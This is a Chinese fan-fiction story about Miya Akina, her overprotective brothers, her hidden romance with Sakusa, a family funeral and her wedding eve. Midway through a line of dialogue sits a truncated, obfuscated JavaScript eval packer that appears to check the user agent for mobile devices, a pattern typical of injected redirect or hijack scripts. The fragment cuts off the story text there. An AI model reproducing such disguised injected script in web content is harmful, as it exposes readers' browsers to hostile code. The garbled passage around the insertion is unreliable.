秋奈用轻到几乎只有自己能听到声音和肚子里的宝宝说了一段无厘头的悄悄话,“如果你听话的话,就自己来告诉我你叫什名字。” 这是她们的小秘密。 故事讲到这里,宫清可是一点困意都没有了,她雀跃的坐起身眼睛亮亮的,“所以小姑是不是给我取名字了!” 秋奈摇摇头。 “那小姑一定是第一个发现我要出生的人!” 秋奈摇摇头。 “诶——那我出生的时候小姑你在做什么呀?”宫清撒着娇推了推秋奈。 “凌晨一点呢,我在睡觉。” “就这样啊?” “嗯,就这样。” 秋奈平淡无奇的回答显然让打压了宫清的热情,她无形中竖立的耳朵丧气的垂了下来。 “可我不明白,小姑到底是怎么先知道我名字的。” “这个啊……涉及到玄学。” 秋奈并非是在故作玄虚,有些事情的发生确实不能用科学来解释,比如说托梦。 是的,五年前小春在产房里拼命生娃,秋奈在家里呼呼大睡。小春阵痛发动在前半夜,夜已深,考虑到秋奈第二天要上学,宫爸爸宫妈妈收到宫治的消息后又急又静的去了医院,甚至连张便签纸都没留。梦里的情节本就虚虚实实,过去了这么多年很多细节她已经记不清了,只记得她在家门口看见了一个约莫三岁大的小孩。秋奈已经回忆不起当时在梦里见到的小孩究竟和现在的宫清相貌有几分重合,如果让她重新复盘那个孩子究竟长什么样那她也完全模糊。但是在梦里她非常肯定,那是个十分清秀的小女孩。 秋奈询问她的年岁,她不灵活的掰着还没被自己驯化完全的手,勉勉强强的比了个三。 秋奈询问她的名字,她咿咿呀呀的操着一口口齿不清的小奶音,断断续续的说了两个字:宫清 梦境的跳跃总是不受控,后面的记忆断片也是情理之中的事。秋奈第二天起床发现除了妈妈没有给自己准备便当以外,没有别的异常,也没放在心照常上学。 临近放学时,宫妈妈才用简讯通知秋奈,小春生了女孩,家里人都在医院里,让秋奈放学去医院顺便再自己买点吃的当晚饭。 等待放学的过程从来没有这么煎熬过,秋奈满脑子想的都是自己的梦,总觉得实在是太玄幻了,电视剧都不敢这么编。 秋奈从前是个坚定的唯物主义者,只要用科学论证,妖魔鬼怪退退退。玩鬼屋面不改色,看鬼片研究逻辑,就是这样一个存在的人如今因为一个梦她不得不动摇曾经的信念,如果科学论证无法成立,那就只剩下一个解释:命!运! 秋奈来到产房门口就迎面遇上了要出门采购的的宫治,不管他急不急,秋奈已然急得要死迫切的想要确认孩子的名字。 “诶你这人怎么回事啊,不是应该先去看看小春和宝宝吗?” “你取好名字没啊?”秋奈堵在门口不问出来势不放行。 “问的早不如问的巧,我心里刚定好,本来打算挑个煽情的时候讲的…拿你没办法,先透露给你吧。宫清,好听吗?” …… 一代唯物主义战神就此陨落。 秋奈自认感情不够充沛,难以对一个初次见面的人投入精力。当她看见躺在婴儿床里的宝宝时,她发现被血缘关系串联起的爱,是无条件的触发。这样一个小小的身体,延续了宫治和小春的生命,收纳了秋奈无法反馈而盈满的爱。 “清儿,你早就来见过我了,在你出生之前,在我的梦里。你对我的意义,任何人都无法替代。” “我明白了,因为爸爸妈妈对小姑好,所以小姑也对我好。因为爸爸妈妈对小姑的爱不需要小姑的回报,所以小姑你的爱都给了我。我听见了小姑的悄悄话,瞒着爸爸妈妈先和小姑见了一面,这是我们的小秘密。” “聪明。”秋奈起身在宫清的脑袋上吧唧了她一口,“清儿,我们爱你,不是让你独占我们的爱,而是要在得到爱的同时,学会去爱。被爱是一种幸运,爱人则是一种能力。这个过程很长,你可以慢慢学。现在的话,从接纳弟弟开始吧。” “嗯!以后我还会有更多的弟弟妹妹,有大舅的孩子,还有小姑的孩子。” “我?” 秋奈没有继续说下去,她对生活里没有什么东西有过热衷,长到这么大她说不出来他最爱的一部电影,说不出来她最爱的一首歌,说不出来她最爱的一个人。时常觉得人生其实没那么有趣,偶尔也会质疑活着的意义,所有来自于书上和别人口中的意义都不曾说服过她。她难以想象自己会爱上谁,甚至和那个人共同生活组成家庭。 人们总是认为到了合适的年纪结婚是约定俗成的事情,如果在年轻时没有恋爱,在年迈时没有小孩,则会被归为社会异类,他们高高在上对其施以同情,嘲笑这“可悲的一生” 秋奈最近陷入了被催促恋爱的困扰,高中时一次错误的恋爱让她对大哥企图洗脑她的思想产生了一点点认同——男人没一个好东西。 真是狠啊,宫侑骂起人来连自己都骂。 宫侑和宫治是不是好东西她不好判断,不过她遇上的那个确实不是好东西。 “我大概很难恋爱了,治。” 三伏天的温度酷热难耐,宫治在后厨潜心研究清凉开胃的新菜品并没有将秋奈的这句没头没脑的牢骚放在心上。 “那就不恋爱呗。” 说的轻巧,好像这个世界除了你就是我一样,“我讨厌被人指指点点。我偶尔也会憧憬你和嫂子的生活,只是从我自身的个性来看,爱情不会发生在我身上。” “那你是没看见我和你嫂子吵架的时候,她不讲理起来也是相当气人。” “后来是怎么消气的。” 宫治转身双手一摊,“多想想孩子。” 《绝望主夫的悲歌》 “如果你认为找不到合适的另一半,我情愿你不要结婚,没有必要。天底下不是说每一个人要过同样的生活,这就很重要。结婚了一定美满吗,保持单身就是永远孤独吗?不是的,老天要我们做不一样的人,而不是要我们过同样的日子。你有自己的选择,你了解自己,对你最合适的,你就合适去走,不必太顾虑别人的想法。” “或许我有个在意的人…我觉得我和他不可能。” 这会儿宫治终于舍得放下手里的食材,正式开启宫二哥的情感专栏,“哪方面不可能?” “全部。” 宫治上下打量了秋奈 长相十分 才学十分 家世七分 综合得分9分 这么优秀的配置怎么还能有不可能的份,他颇为不解,“那家伙是天神下凡吗?” “差不多。” 此话一出更是挑起宫治的好奇心,“这人谁啊。” 终于把问题引到了这一步,她不安的舔了舔下唇,支支吾吾的说出了他的名字“佐…佐久早…圣臣。” 两个人之间流动地空气就像被按下了静止键,后厨的闷热被一股凉意替代,宫治的大脑飞速运转,那些想不通的问题在知道这个名字后全想通了,他们之间的不可能确实难以逾越,因为中间隔了一座名为宫侑的大山。 秋奈能对他说出这个名字,已经是鼓足了100分勇气。自家的妹妹向来没啥世俗的欲望,如果这个人在她可喜欢可不喜欢的阈值之间的话,以她的个性就算是把这件事憋到死也完全没问题。而她既然袒露了这个问题,那只能说明一件事,她相当喜欢佐久早,并且想解决被阻隔的问题。 换而言之就是,她在向宫治求助。 “年纪…大了一点不过还能接受。男人还是成熟点好,年纪大会疼人。” 秋奈眼里发送的无助电波还在源源不断的输送,宫治抵抗不住终于还是点出了核心问题,“侑不会同意的。” 明明是意料之中的答案,秋奈情绪还是像个泄了气的气球一样瘪了下来,“我知道…” 虽然前面宫治说了就算不恋爱也没关系这种话,可是妹妹心里能有一个挂念他来说当然更欣慰,心动的酸涩和甜蜜总要体会一次,他不想让妹妹来之不易的喜欢落了空。 “打算放弃吗?” 秋奈立刻下意识摇头,她心里没有想好答案 “我……” “我不反对。佐久早,优质单身钻石王老五,著名排球运动员,国家队首发选手,国名度高,社会地位高,宫侑与他交好知根知底,私生活干净,混在名利场还能自律守底线,怎么想都比那些不知道从哪里冒出来的毛头小子好了几百倍。” “是我自己喜欢他,他还不知道。我怕他不会接受我,就算接受我,我更怕侑生气。” “所以呢?因为瞻前顾后,因为把结果想在了前面所以连去改变现状的勇气不会有了吗?” 秋奈犹豫不决,正如宫治所说她潜意识里已经认定自己会失败,心里想做却又不敢,迟迟作不出答复。秋奈需要一个强力有效的助力 宫治一鼓作气,今天的月老他当定了,最后给出一针强心剂 “哥哥已经30了,我在你这样一个二十出头的年纪里是最勇敢的,因为我做了两个影响我一生的决定,娶了你小春嫂嫂和辍学创业。我也想告诉此时同样年纪的你:不要浪费太多时间在决定上,如果你想做一件事千遍百遍了,那么你就放手去做。我们都知道,种一颗树最好的时间是十年前,其次就是现在。肥,不要留下遗憾。” “至于侑…你知道他是小孩子个性,得哄着来。直说他肯定得闹,咱们得委婉一点。” “什么意思?” “清儿三岁的时候喜欢爬桌底,你是怎么阻止她的?” “我说里面有大老虎,她就不敢了。” 要素察觉,秋奈顿悟 骗啊? - 禁足 宫治难以相信在这个现代文明高度发达的21世纪居然真的还有人在固守成规玩封建主义那一套。 “你什么意思?” “我什么意思?”宫侑眉心一跳,整个人靠在椅背上内心甚觉不爽,他相当讨厌被人这样用这样的的语气质问,好像错的人是他一样。 宫侑眼神扫过与他面对面坐着的三个人,“你们什么意思。” 何况现在真正犯错的人正被他关在隔壁公寓,他还特意拨用了自己的两个保镖守在门口,并扬言绝经前不准秋奈出这个门。宫侑自始至终都不认为自己的所作所为有任何不对的地方,所以现在这三个人摆出这幅兴师问罪的模样是怎样? “搬救兵也得找个有道理的。老婆,找宫治随你,他是二哥,找他过来正好让他看看肥都被他教成什么样子了。可是你找北前辈…”宫侑没继续说,倒也不是怕,只是这纯属开外挂,也算新型暴力压制。 大嫂在事发后第一时间就联系了宫治,她知道宫侑已经不是她一个可以劝下来的,宫治知道后并没有太多的意外,在电话的另一边异常冷静的交代了一下自己大概会几点到东京。宫侑也能预料到自己做了坏人,那位远在关西的“慈母”必然会出现当正义使者,跟他唱反调。只是令他没想到的是,开门站在门口除了宫治以外,还有他的大舅哥——北信介。 这他?的就不讲道理。 “今天,就算是天王老子来了,她宫秋奈也走不出这扇门半步!” “肥是错了,没想过为她推脱责任。”面对情绪化的宫侑,宫治没有急着与他辩驳。 宫侑如同一拳打在棉花上,格外不得劲。 “所以呢?没想过为她推脱责任你们三个又为什么坐在这里对我兴师问罪?你知不知道那个死丫头怎么联合那个老的掉毛的洁癖混蛋骗我的?” “我知道。” “那你知不知道她在医院说了什么话?” “我知道。” “你知道?”这一回应让宫侑整张脸拧巴的眉毛不是眉毛,眼睛不是眼睛的。他不理解,宫治知道发生了什么为什么还能像个没事人一样。 宫侑话锋一转,“听秋奈说小春怀三胎了?你俩晚上闲着没事干就不能看会儿电视啊?” 宫治立刻拍案而起,“当然没有!” 宫侑狐狸尾巴一翘,果然撒谎的针没有扎到自己身上就是不知道疼。前一秒宫治还一副置身事外的样子,下一秒被宫侑四两拨千斤轻轻一挑就坐不住了。 “造反了她。” 宫侑在一边应和一边继续煽风点火,“就是就是,她不仅拿这个三胎造谣你,还讽刺我不能生。” “越来越不像话了…这个死丫头人在哪里,腿给她打断!” 眼看着两个人气势冲冲的要赶去隔壁新仇旧恨一起算,作为最权威的大家长北信介一声轻咳,掷地有声的质问道,“你还记你是来做什么的吗,治。” 两只大狐狸浑身一个激灵,刻在DNA里的恐惧从脚趾头衍生到头发丝儿。俩人只得歪歪扭扭的原路摸索着返回重新回到位子上。 重启,再审。 “咱们就是论事。宫秋奈,骗了我们偷偷摸摸和我队友恋爱,这是对我们这些家长极大的不尊重!” “申明,是骗了你,不是我们。”宫治说 “什么意思?” 对面三个人同时开了沉默技能,宫侑试图与他们的对视中寻找答案,很遗憾三个人眼神不约而同的躲闪了,各自表达的意思都很一致———你自己品。 “你们都知道?” 不否认就是承认,沉默就是最好的答案。可就是这样的一个答案让宫侑觉得自己活得可悲又可笑,从始至终只有自己在为这件事像个跳梁小丑一样蹦跶。他自嘲的笑了笑,而下一秒他突然怒不可遏的抓起宫治的衣领叫喊着,“合着只有我一个人是傻子呗?联起手来耍我很好玩是吧!” 隔着一张餐桌宫治都被他拉扯了半个身体过来,两个人互瞪着对方,一个极致冷静一个极致暴怒谁也没有退步的意思。大嫂和北前辈第一时间冲过来劝架,可无论大嫂怎样顺毛宫侑就是不肯放手。 “是肥不让我们告诉你的,她想要自己和你说但是又在恐惧。恐惧你的暴跳如雷,恐惧你听不进人话,恐惧你自以为是的大家长做派。这就是你该反思的事情!为什么肥告诉了我们所有人,征求了我们的同意,唯独瞒了你一个人。就是猜到你现在会这副样子让她怎么和你说,她怎么敢和你说,宫侑!” “哈?你可真是一个善解人意的好哥哥呀,难怪肥总是向着你,我全心全意为她好,到头来坏人全是我做。你想过没有,肥和那个混蛋差了多少岁,我们肥还是一个小朋友的时候他早就和那个女演员睡了,我TM想想都觉得恶心!” “那我问你,他在肥很小的时候就对肥出手了吗?” 宫侑没有回答,宫治替他回答了。 “没有。他们在各自的年龄段没有交集,好好生活,做着在当下再正常不过的事情,谁都没有错。就算是互相靠近那也是肥成年后的事情了,你说你为肥好,你过问过肥的想法和意见吗?她早就不是跟在我们屁股后面蹒跚学步只会喊哥哥的小孩子了!她有自己的思想和意志,她知道轻重缓急,她知道她在做什么,哪怕这条路走错了,也是她自己的选择,她到了这个年纪也该为她的决定负责了。生活本就是一场历练,走路不摔跤永远也没办法成长。你是她生活的参与者,不是掌箍者。但凡你能好好听一次肥内心的诉求,就不至于闹到今天的局面。” 宫侑脑中忽然闪过在医院那天零碎的片段,佐久早似乎也对他说过类似的话 【好好和她说,她很怕你。】 【你总是这样自说自话不听人话,想不明白就好好回去想想。】 宫侑陷入了深深的自我怀疑中,真的是自己的错吗?真的是自己的独断推开了妹妹吗?他逐渐松开了手,大嫂和北前辈趁机将两人重新安抚到座位上。宫治终于可以缓一口气,他看着对面缄默的宫侑也不想再说什么,他明白现在以宫侑那点少的可怜的脑容量里一时半会儿消化不掉这么多信息,何况这是要他颠覆以往二十年根深蒂固的观念,他需要时间消化。 “等你完全冷静下来,再去好好和她谈一次吧。” 这是宫侑自我封闭的意识里,唯一不排斥的话。 - 眼睛睁开一片混沌,秋奈记不清这是她被禁足的第几天,顾不得伤心,她心底更多的是对佐久早和宫侑回队后的担忧。 队内斗殴是大忌,轻则坐冷板凳,重则解约。这是影响两个人事业的大事,宫侑总是冲动做事不计后果,总觉得天塌了自己也能抗,可如果不是自己的胆怯,逃避和宫侑如实坦白这件事,他们也不会有误会产生激烈的矛盾。 佐久早向秋奈报了平安,说是自己已经圆过去了,对内没有过多追究。这个消息并没有让秋奈放松,她怕佐久早是为了不让她担心下撒的谎,这些天宫侑一直没出现她就无法证实佐久早的说法,秋奈的惴惴不安就会一直持续。 房间的门突然被打开,昏暗的氛围随着门外光线的进入消散了不少。 秋奈愣了几秒,发现进门的人是宫侑,她立刻装作看不见的样子抱膝缩在了床头。 谁也没有说话,一阵异常的沉默后宫侑轻轻地关上了门。 “你没吃饭?”宫侑语气冷淡。 “吃了。”秋奈语气更冷淡。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不是…真打算跟我一刀两断?那小子给你灌了什么迷魂汤让你这么跟我对着干!” 冷静失败。 “是,都是他的错。我爱他,是他的错。我想自己生活,是他的错。只要不顺你的意,就全是他的错!” “你现在是在怪我什么?怪我被你们骗了说话没好气,还是在怪我队友在我眼皮底下泡你,我打了他?”宫侑说急眼,干脆破罐子破摔,“是!就是他的错!不是他的出现,你怎么会说出这种自轻自贱的话!我们对你好了二十年,宠了你二十年,什么都不缺你的,什么都不少你的,真心全他妈喂狗了!” “我知道你对我好,我知道!可是这种好只想让我逃离你!” 秋奈讨厌这样的爱,爱不应该是枷锁。她不想因为她的出现,就朝她贴上“为你好”的标签,太过沉重的付出让她负担不起。 两个人的矛盾几乎到了不可调和的地步,就像一根紧拉的铉,两边多用一分力,连接着他们的关系就断了。 “出事了!” 宫治毫无预兆的闯了进来,这显然不是一个好时机。气头上的宫侑看见一个不长眼的把他想怼的话给闷在了嗓子眼里十分窝火,正想把火力转向宫治时,他发现宫治的神色相当严肃。 “怎 …怎么了…?” “津叔没了,酒驾出了车祸没能抢救过来,就在刚刚刚…” — 在秋奈的记忆里,津叔是个顽固的老头,他的大女儿禾叶则更为独立,性格不合,三观不合,针尖对麦芒,两个刺头没有为谁退步过。日积月累的矛盾爆发在禾叶的叛逆期,互相指责,说着最伤彼此的话。禾叶一气之下辍学脱离了津叔,脱离了那个让她窒息的家,直到结婚也没有通知津叔。 过年时,秋奈跟随父母一同去津叔家拜年。津叔的小儿子也已经六岁了,他是在禾叶离家出走五年后出生的。那时候津叔扬言,自己权当没生过那个混账。 禾叶怀孕了,说到这件事时津叔的眼里充满了柔软。他准备了很多田里的菜,还有散养的土鸡,打算过个两天去东京看看她。一个人,一个都没去过大阪的人,从关西远行到关东。 出事那天,禾叶打电话生硬的问候了津叔的近况,两个人有一搭没一搭的回着,电话的最后禾叶说自己这个周末会回去看他。这让津叔喜出望外,十一年来没有哪一天比今天更让他期许明天,他把所有的思念和心酸都倾注在那晚的酒里。曾经破裂的关系在一点点修复,曾经丢失的亲情在慢慢地寻回。一切都在慢慢变好,而一切的期许都在那晚在戛然而止。 连续守夜三天,怀孕七个月的禾叶已经到达了身体极限,她空洞的跪坐在灵位边一言不发,三天来秋奈既没她看见流过一滴泪,也没听见她说过一句话。 她恨他吗 她爱他吗 她想他吗…… 人的感情太过复杂,秋奈看不穿,摸不透。小光对于这个未曾谋面的姐姐并没有展现出生疏怯意,乖巧的跟随在禾叶的身边上了灵车。 秋奈与宫侑宫治紧随其后,等待众人一同到达殡仪馆。秋奈排列在禾叶的身后,眼前的工作人将木棺抬下车做着最后的准备。 只要一开火,这个人就永远的消失。 只要一开火,这个人就不再存在。 思念的距离永远只会越来越远,没有真实的模样真实的存在。只有一张死亡证明跟一张曾经的合照单身照,换不回现实中的模样。 开启焚化炉的那一秒,一直乖巧安静的小光突然撕心裂肺的哭喊,“爸爸快跑!火来了!爸爸快跑!” 伴随小光的哭声,禾叶的心像被猛地重击,秋奈看见禾叶的背影止不住的颤栗起来,一切来不及付诸的念想,从此变成了奢望。 “混蛋…混蛋……你还没来得及抱抱我的孩子……” 人这辈子,说长不长,说短不短。每一天都是在跟从前的自己告别。世事无常,很多时候突然一个晚上,世界就变了,一个人的人生就可能悄无声息的走到了终点。就是这样猝不及防,打的所有人一个措手不及。所有的告别都来的没有丝毫准备,也许那平常漫不经心的一个招呼,就可能是最后一次告别。这穹顶之下从来不让你有任何提前的计划应对这些一团乱麻似的各种,从来不会给你任何喘息机会。 这漫漫长路,数不清的羁绊,千丝万缕的关系,如同陈年未捋的毛线,一团一团揪着你不放。所有人都会想,有时候真想能够让讨厌的人消失,可其中纠缠关联,又有什么能理的清分的明。 等待火化的时间里,秋奈坐在馆内的长椅上发呆。 不知道什么时候宫侑坐在了她的身边,宫侑叹了一口气,忽而没来由的说,“以后…就得靠我们了。” 秋奈明白他的意思。 世间所有的爱都指向团聚,唯有家人的爱指向别离。 出生是一次遇见,上学是一次别离,工作是一次别离,嫁娶是一次别离,直到父母老去逝去,彻底地与父母告别。 遇见是我们没有选择,是父母选择了我们,告别时我们依旧别无选择。 过去秋奈不曾想过,自己和父母之间的关系是多么奇妙。 他在你的出生证明上签字,你在他的死亡证明上签字;他把你从医院抱回家,庆祝你的新生,你把他从医院送去殡仪馆,祭奠他的离别。 他买了一间宽敞的房子给你住,你买了一块小小的墓地给他躺;他在你的满月酒上讲话,告诉亲友你来到了这个世界上;你在他的追悼会上发言,告诉亲友他从这个世界离开了。 父母离去之后,维系羁绊的人,就是身体里流淌着血缘关系的兄弟姐妹。 秋奈在父母兄长的保护下看到了太多大团结的结局,她得到关怀的太多,看不到世界的背面。而在今天她才真切的感受到带着误解离去,带着遗憾退场,想说的很多话都没有办法跨越生死的界限。 如今想来父母身体康健,家人万事顺遂,对她来说已经是人生上等的答卷。 秋奈轻轻牵住宫侑手,掌心间传递的温度融化了所有的矛盾,秋奈应声 “嗯。” - 成长是一个告别的过程,和过去告别,和家人告别。 如果你对某件事的结束感到悲伤,那就说明这件事的过程一定非常美好,如果你足够勇敢让自己用更广阔的视角看待一切,你就会发现结局未必悲伤,那只是意味着下一件美好的事情即将开始。 “秋——奈——不准跑!”西村踩着软绵绵的步调走出酒店包厢,一个踉跄没站稳,应声回头的秋奈眼疾手快,扶住了她。 “我没跑,我就出来醒酒。” 西村不屑的摇摇手指表示不信,这人喝酒上脸,脸红的跟那什么似的。 “切,你个小趴菜。你喝了几杯啊,就醒酒?你的酒全被你老公挡了。” “不得不说,你老公是真牛掰啊,我们十几个人一人喝他两轮他都还那么清醒。明明长得一副没有世俗欲望的样子,喝起酒那真是嘎嘎猛,太闷烧了。下面还有一场呢,我再去摇几个兄弟来,今天势必要干倒他。” 完了,真是喝酒喝上头了。秋奈看了一眼时间,已经快十二点了,比自己约定好要回家的时间超出了二十分钟。眼下她只能耐心的把西村哄回去,喝多了的人应该比较好糊弄。 “饶了我们吧,明天我们还要结婚。” 西村内心燃起的熊熊烈火当然不可能轻易熄灭,态度十分坚决,“不行,明天的事明天再议,今天的结今天必了!” “那你们玩儿,我得先回去了。” “…这是你的婚前单身派对,你走了还有什么意思。” “圣臣不是还在吗。” “他?无趣的男人……宫家哥哥怎么没来啊,有他们在那场子可太炸了。”西村对宫家二哥的热情不减,依旧是他们的忠实颜狗,尤其是他们年岁渐长多了成熟风韵后,oh~更爱了。 秋奈找到了突破口,委婉的讨怜 “我哥哥在家等我呢。” “这样啊,那可别让他们等急了。” 果不其然,只要是关于宫哥哥的,西村总在莫名的地方变得特别好说话。秋奈继续喂糖安抚,“嗯,今天晚上的消费我买单,你们尽情玩哈~” “好嘞!” 家里的玄关口走廊留了灯,爸妈应该睡了。秋奈捏手捏脚地进门。听到动静的两位老大哥不约而同的从客厅探出头来,确认是我。又扭头转向走廊尽头挂着的闹钟确认时间,宫侑肉眼可见的兴奋了起来压着嗓子说到,“哈哈!我就说她十二点左右回来,你输了。说好了包我儿子一个月的尿不湿,一天都不能少。” 这样的赌约在学生时代他们地赌约已经不知道进行了多少次,过了三十岁的两个大男人对这一玩法仍是屡试不爽,每次宫治口头嫌弃幼稚,但还是会口嫌体正直的凑过去下赌。只是随着时间的推移,需求的变化,赌注从饭团变成了奶粉尿不湿。 “幼稚。”宫治愿赌服输,不多做辩论。他朝秋奈招招手,秋奈麻溜的就进了客厅关上了门。 浓烈的酒味很快就在这个小空间里扩散开来,宫治不免有些担心,“喝了多少啊,酒味那么浓。” 秋奈嗅了嗅自己的衣服,在那个包厢里待太久她对自己身上酒味的判断已然失效,“一点点,从边上沾的味儿。” 宫治一如即往贴心,提前准备好了醒酒药给秋奈 “你们场子散了吗?” 秋奈吞了一口药喝了一口水腮帮子鼓鼓的,摇摇头表示没有。 “圣臣留在那儿应付。” 宫侑听后坐在旁边哈哈大笑直拍大腿,纯属幸灾乐祸,“他应该感谢我,要不是当年每周的两瓶洋酒给他灌,他都没法活着走出兵库。” “他现在这样才是没法活着出兵库。”秋奈故作赌气,将水杯轻轻往桌面上一叩。 说起当年那是后话。 “更好!订婚的时候都不改口叫我大舅哥,咱们不结这个婚,哪有人大学一毕业就结婚的…” “你给改口费了吗?”宫治提醒 “没啊。” “……闭嘴吧你,这个节骨眼了就说点正事。”宫治及时打断了宫侑的发挥,在宫侑心里只要关于佐久早就没有他不能借题发挥的点,一旦开始就难以结束。 宫侑收敛起嬉皮的姿态,两兄弟并排正襟危坐,神情相当认真,秋奈被他俩这架势弄的一愣一愣的。 大哥先发言,“本来吧今天不想把你叫回来的,都是最后一个单身派对了应该玩尽兴才是。有些话,虽然说起来有些矫情,但是今天不说,以后就不合适说了。直到现在我说这句话的时候我都觉得特别不真实,像在做梦一样。从你出生到上幼儿园,小学,国中,高中,大学,再恋爱 ,订婚最后结婚,整个跨度有二十三年,可是这些记忆在我脑子里停留的时间只有短短几秒。时间太快了,我根本追不上她,我总以为你还是那个胖墩墩的小孩。 其实仔细想想自从我和治结婚之后,咱们三兄妹很少有这样子的机会再凑在一起闲聊。不得不承认的是,当我们各自组成家庭之后,重心转移,投入了更多的精力到工作,到比赛,到自己小家庭里。我们无法滞留在过去,就像我拦不住你要嫁人一样。” 相当糟糕的比喻 “我很讨厌有一种说法是:父母在,兄弟姐妹各自成家,是亲人。父母哪一天不在了,兄弟姐妹也各自成家,亲人关系也就变成了亲戚关系。这抹杀了我们的过去,否定了我们的全部,实在是太过寡情了。 即便你结婚,我和治变成了你的娘家人。但你要记得娘家是家,一个你永远可以依靠的家。我们不会走,也不会散。你冠了夫姓,在新的家庭里以佐久早秋奈的身份生活,你过得好我们比任何人都开心。如果有一天,你想做回宫秋奈,不要害怕我和治会无条件偏袒你。歌会走调,但哥不会走掉。” 如过没有最后一句,秋奈应该不会陷入哭笑不得的状态。就怕平时不认真的人忽然认真,秋奈从前觉得自己性格上并不恋家,已经离开兵库在东京学习了四年,对于结婚后的离家以为自己不会有什么太多不舍。她原本是打算高高兴兴出嫁的,可宫侑的这一段掏心窝子的话偏偏打破了以为自己无感的伪装。 秋奈看向哥哥们,视线被眼泪模糊了许多,她不想要这么伤感,嬉皮的笑了笑,“你这个稿子背了多久?” “喂,不要太小看我啊!” 宫治忍不住补刀,“还好,也就两天。漏背了一大段,至少没磕巴。最后一句你自己加的吧,整段垮掉…” 秋奈一时半会儿不知道该哭还是该笑,这对兄长总是有办法把氛围活络起来,一唱一和的,在讲相声方面他们绝对是最佳拍档。秋奈两手一抹泪,问到 “我有说过爱你们吗?” 两兄弟同时机械的摇头,他们内心迸发出不好的预感,在秋奈张嘴说下一句话之前就各种推脱,好似是句诅咒似的特别晦气。 “没说过,不想听。” “太肉麻,嫌恶心。” 秋奈没有理会,用尽了这辈子最大的真心告诉,“我爱你们,哥哥。” …… 宫治:你哭了。 宫侑:我没有! 宫治:你哭了。 宫侑:都说了我没有啦! 秋奈:眼泪明明在流啊(笑) 宫侑:烦死了,你的酒味熏到我眼睛了啦——! 全文完